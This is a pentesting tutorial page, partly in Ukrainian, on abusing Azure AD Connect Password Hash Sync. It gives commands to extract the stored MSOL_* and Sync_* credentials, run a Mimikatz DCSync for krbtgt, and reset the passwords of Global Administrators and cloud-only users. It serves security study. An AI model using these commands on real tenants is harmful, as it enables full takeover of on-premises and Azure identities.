Az - PHS - Password Hash Sync

Support HackTricks

Basic Information

From the docs: Password hash synchronization is one of the sign-in methods used to accomplish hybrid identity. Azure AD Connect synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.

Це найпоширеніший метод, який використовують компанії для синхронізації локального AD з Azure AD.

Всі користувачі та хеш паролів синхронізуються з локального AD до Azure AD. Однак, паролі у відкритому тексті або оригінальні хеші не надсилаються до Azure AD. Крім того, вбудовані групи безпеки (як адміністратори домену...) не синхронізуються з Azure AD.

Синхронізація хешів відбувається кожні 2 хвилини. Однак, за замовчуванням, термін дії пароля та термін дії облікового запису не синхронізуються в Azure AD. Тому користувач, у якого термін дії пароля в локальному AD закінчився (не змінений), може продовжувати доступ до ресурсів Azure за допомогою старого пароля.

Коли локальний користувач хоче отримати доступ до ресурсу Azure, автентифікація відбувається в Azure AD.

PHS необхідний для таких функцій, як Identity Protection та AAD Domain Services.

Pivoting

Коли PHS налаштований, деякі привілейовані облікові записи автоматично створюються:

  • Обліковий запис MSOL_<installationID> автоматично створюється в локальному AD. Цей обліковий запис отримує роль Directory Synchronization Accounts (див. документацію), що означає, що він має права реплікації (DCSync) в локальному AD.

  • Обліковий запис Sync_<name of on-prem ADConnect Server>_installationID створюється в Azure AD. Цей обліковий запис може скидати паролі будь-якого користувача (синхронізованого або тільки хмарного) в Azure AD.

Паролі двох попередніх привілейованих облікових записів зберігаються на сервері SQL на сервері, де встановлено Azure AD Connect. Адміністратори можуть витягти паролі цих привілейованих користувачів у відкритому тексті. База даних знаходиться в C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Можливо витягти конфігурацію з однієї з таблиць, одна з яких зашифрована:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Зашифрована конфігурація зашифрована за допомогою DPAPI і містить паролі користувача MSOL_* в локальному AD та пароль Sync_* в AzureAD. Тому, скомпрометувавши ці дані, можна підвищити привілеї до AD та AzureAD.

Ви можете знайти повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді.

Finding the Azure AD connect server

Якщо сервер, де встановлено Azure AD connect, приєднаний до домену (рекомендовано в документації), його можна знайти за допомогою:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Зловживання MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

You can also use adconnectdump to obtain these credentials.

Використання Sync_*

Компрометуючи обліковий запис Sync_*, можливо скинути пароль будь-якого користувача (включаючи Global Administrators)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Також можливо змінювати паролі лише хмарних користувачів (навіть якщо це неочікувано)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Також можливо витягнути пароль цього користувача.

Інший варіант - призначити привілейовані дозволи для сервісного принципала, що користувач Sync має дозволи зробити, а потім отримати доступ до цього сервісного принципала як спосіб підвищення привілеїв.

Seamless SSO

Можливо використовувати Seamless SSO з PHS, що є вразливим до інших зловживань. Перевірте це в:

Az - Seamless SSO

References

Підтримайте HackTricks

Last updated